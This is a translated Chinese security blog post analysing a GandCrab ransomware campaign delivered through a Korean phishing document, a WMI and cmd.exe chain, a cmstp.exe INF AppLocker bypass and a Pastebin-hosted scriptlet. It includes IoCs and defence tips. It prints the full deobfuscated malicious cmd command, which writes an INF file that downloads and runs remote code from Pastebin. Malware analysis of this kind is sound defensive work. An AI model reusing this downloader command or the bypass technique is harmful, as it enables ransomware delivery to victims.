勒索软件的“中流砥柱”:深入分析GandCrab新型Evasive感染链

41yf1sh 勒索软件 2019年5月14日发布
Favorite收藏

导语:在本文中,主要分析威胁行为者如何结合不同的逃避技术,最终确保勒索软件成功感染目标受害者。

一、摘要

在本文中,主要分析威胁行为者如何结合不同的逃避技术,最终确保勒索软件成功感染目标受害者。

1.1 攻击者所使用的技术

1. 将网络钓鱼电子邮件与武器化的恶意Office文档相结合,以便对目标计算机实现初始攻击。

2. 构建一个多阶段的无文件感染链,使用VBA代码、WMI对象和JavaScript来投放勒索软件。

3. 利用Living-Off-The-Land形式的二进制文件,绕过Windows AppLocker,并获取勒索软件Payload。

4. 从合法的在线文本共享服务中获取恶意Payload,在本例中为pastebin.com。

一旦攻击者成功攻击目标主机,可能会造成无法访问关键数据、组织内部大规模拒绝服务的后果,可能会直接导致公司的巨额财务损失,或者其他附带损害。此类攻击,特别是针对关键资产发起的成功攻击,其后果可能是灾难性的。

1.2 安全建议

1. 定期备份个人和公司终端上的重要信息,特别是服务器等关键终端。

2. 始终确保Windows和任何第三方软件都更新到最新版本,并且已经应用全部安全修补程序。

3. 不要支付赎金,因为这会助长勒索软件攻击者持续开展这种类型的攻击。在许多情况下,即使支付了赎金,也无法保证能成功恢复文件。此外,在某些情况下,数据可以通过临时恢复工具进行解密,但无法保证其可靠性。

4. 使用具有反勒索软件的安全产品,可以防范GandCrab及其他勒索软件的威胁。

二、背景

近期,Cybereason团队发现并阻止了GandCrab勒索软件针对位于日本的国际化公司的攻击活动。GandCrab是当前威胁领域中最流行的勒索软件之一。自2018年初,GandCrab出现以来,它一直在不断发展,并完善其传递方法以逃避检测。

Bitdefender预计,GandCrab勒索软件已经占据全球范围内勒索软件感染总数的40%。由此也可以看出,GandCrab正逐渐变得强大且有效。众所周知的是,恶意软件的作者正不断添加更为隐秘的新型传递机制以及适配性,采用迭代的方式快速更新GandCrab版本。攻击者通常不会针对明确的目标,而是在大范围“撒网”。尽管安全厂商已经针对此前大多数版本的GandCrab发布了解密工具和恢复工具,但我们此次所研究的最新版本暂时没有研究人员能成功对其解密,目前无法实现文件的恢复。

GandCrab之所以能成为如此流行的恶意软件,其原因之一是它遵守了“勒索软件即服务”(RaaS)的商业模式。这样一来,即使是没有较高技术实力的网络恶意组织都可以通过易于使用的平台来使用GandCrab基础架构,同时,GandCrab背后的恶意组织还提供全天候的在线支持。据估计,从2018年7月到10月之间,全世界约有500000名受害者感染了V4或V5版本的GandCrab。

cmd.exe派生的恶意软件进程:

1.png

三、使用韩文的网络钓鱼电子邮件分析

当用户无意打开网络钓鱼电子邮件中的恶意韩文文档时,攻击者的第一步就成功实现了。

下图为恶意文档의제.doc的截图(英文翻译:Agenda.doc):

2.png

随后,诱使用户点击“Enable Content”(启用内容),该内容将运行嵌入的宏代码。

의.doc(e4ac8fd735712e30c61cacb4e725b17a680d48ed):

3.png

3.1 恶意宏代码分析

嵌入在Office文档中的VBA代码已事先经过混淆,从而隐藏该代码的真正作用,并逃避检测。

下图为嵌入式VBA代码中的一部分:

4.png

该VBA代码使用不太常见的GotFocus事件,作为执行的触发器。

输出OLETools的olevba.py:

5.png

宏执行图表:

6.png

一旦触发了GotFocus事件,VBA代码就会解密多阶段的下载工具Payload,将会创建一个WMI对象(SWbemObjectEx),它使用经过另一层混淆后的命令,派生出cmd.exe实例。

用于运行WMI的宏代码,已经过混淆:

7.png

我们对上述代码进行了反混淆,得到代码如下:

GetObject("winmgmts:{impersonationLevel=impersonate,authenticationLevel=pktPrivacy}root\cimv2:Win32_Process")
 
SWbemObjectEx.Create("cmd /V /C set "G5=s" && !G5!et "G6=\" && !G5!et "G=e" && !G5!et "G22=i" && !G5!et "G7=A" && !G5!et "G2=N" && !G5!et "G21=d" && c!G7!ll !G5!et "G4=%!G7!PP!G21!!G7!T!G7!%" && c!G7!ll !G5!et "G75=%R!G7!!G2!!G21!OM%" && !G5!et "G03=!G4!!G6!M!G22!cro!G5!oft!G6!T!G!mplat!G!s!G6!!G75!.txt" && !G5!et "G9="^" && (For %i in ("[v!G!r!G5!ion]" "!G5!ignatur!G!=$Wi!G2!dow!G5! NT$" "[D!G!faultIn!G5!tall_Singl!G!U!G5!er]" "UnR!G!gi!G5!t!G!rOCXs=G54" "[G54]" "%11%\%G59_1%%G59_2%%G59_3%,NI,%G0_1%%G0_2%%G0_3%%G0_4%%G0_5%%G0_6%%G0_7%%G0_8%%G0_9%%G0_10%%G0_11%%G0_12%%G0_13%%G0_14%%G0_15%%G0_16%" "[!G5!tring!G5!]" "G0_1=ht" "G0_2=tp" "G0_3=:/" "G0_4=/p" "G0_5=as" "G0_6=te" "G0_7=bi" "G0_8=n." "G0_9=co" "G0_10=m/" "G0_11=ra" "G0_12=w/" "G0_13=kV" "G0_14=kC" "G0_15=4M" "G0_16=A3" "G59_2=rO" "G59_1=sC" "G59_3=bJ" ) do @echo %~i)>"!G03!" && echo !G5!erv!G22!ceNam!G!=!G9! !G9!>>!G03! && echo !G5!hortSvcN!G7!me=!G9! !G9!>>!G03! && c!G7!ll !G5!et "G19=%WI!G2!!G21!IR%" && !G5!t!G7!rt "" !G19!!G6!Sy!G5!t!G!m32!G6!cm!G5!tp.!G!x!G! /s /ns "!G03!"",,,) -> 0

上述代码在cmd.exe进程的上下文环境变量中,设置了反混淆后的字符串。

环境变量:

8.png

然后,恶意软件将写入到以下文件:

· C:\Users\xxxxx\AppData\Roaming\Microsoft\Templates\{random}.txt

写入到随机文件:

9.png

3.2 使用cmstp.exe LOLBin绕过Windows AppLocker

该恶意软件投放的文本文件,实际上是INF配置文件,它利用Squiblyoo技术的变种,来绕过Windows AppLocker,并从远程位置下载Payload并执行。这一变种是由Nick Tyrer和Oddvar Moe发现的,这两名研究人员发现cmstp.exe(Microsoft连接管理器配置文件安装程序)可以通过调用DefaultInstall_SingleUser段来实现对scrobj.dll的调用,前者可以调用UnRegisterOCXs指令。

这项技术被GandCrab活动幕后的威胁行为者使用,如下面的Cybereason平台截图所示。cmd.exe生成cmstp.exe,并将其指向已经投放的INF文件。

10.png

INF配置文件的路径:

11.png

然后,cmstp.exe连接到pastebin.com,以获取第二阶段Payload。

12.png

Cmstp.exe从pastebin.com获取第二阶段的Payload。

四、来自Pastebin的GandCrab Payload

在我们从pastebin.com获取的Payload中,是包含混淆后JavaScript代码的COM Scriptlet。该代码中包含一个嵌入式PE文件,该文件在运行时被解密,并被投放到磁盘上。

嵌入式PE文件在运行时被解密,并被投放到磁盘上:

13.png

VirusTotal上的反病毒产品,似乎未能检测出该URL和页面内容存在问题。

VirusTotal截图,该平台未检出URL和页面内容:

14.png

JavaScript代码经过了几层混淆。

15.png

该代码使用在运行时声明的匿名(anonymous)函数来进行解密、投放恶意软件、执行恶意软件的操作。

16.png

解密后的勒索软件Payload,将被投放到以下位置:

C:\users\soc\appdata\roaming\microsoft\{随机}.exe

17.png

下面的进程树展示了cmstp.exe投放勒索软件的过程,随后该过程被Cybereason检测并阻止。

18.png

在未部署Cybereason反勒索软件解决方案的虚拟机上,运行勒索软件Payload,根据弹出的勒索提示,显示出这是5.2版本的GandCrab。

19.png

五、总结

勒索软件并不是一种新的攻击形式,但随着GandCrab的不断升级,已经将其转变为更具动态性、更难解决的威胁。随着勒索软件传播方法的动态变化,再加上GandCrab勒索软件的不断发展,使得防御者对于安全工具的需求也不断增加,这些工具可以检测和阻止勒索软件行为,并且能够突破勒索软件作者所使用的逃避技术和多层混淆。

GandCrab之所以受到恶意组织的“重用”,其中原因之一是在于攻击者可以具体决定赎金的支付方式和支付金额,因此他们可以实现最大化的收益。此外,该系列勒索软件还遵循了RaaS模式,允许任何人(不仅仅是具有技术实力的攻击者)使用勒索软件来攻击潜在受害者。

Cybereason已经与pastebin.com联系,并提交了官方说明,建议删除包含恶意Payload的页面。目前,包含恶意代码的页面已被删除。

六、IoC

Word文档:E4AC8FD735712E30C61CACB4E725B17A680D48ED

Pastebin COM Scriptlet:2D9AC49FD49D07C36C56241E0B641398B50194A6

GandCrab二进制文件:2768A5EEA5F50CB0D91AEB1270ACD6BFCA54F270

http://pastebin[.]com/raw/kVkC4MA3

本文翻译自:https://www.cybereason.com/blog/gandcrab-evasive-infection-chain如若转载,请注明原文地址: https://www.4hou.com/typ/17927.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论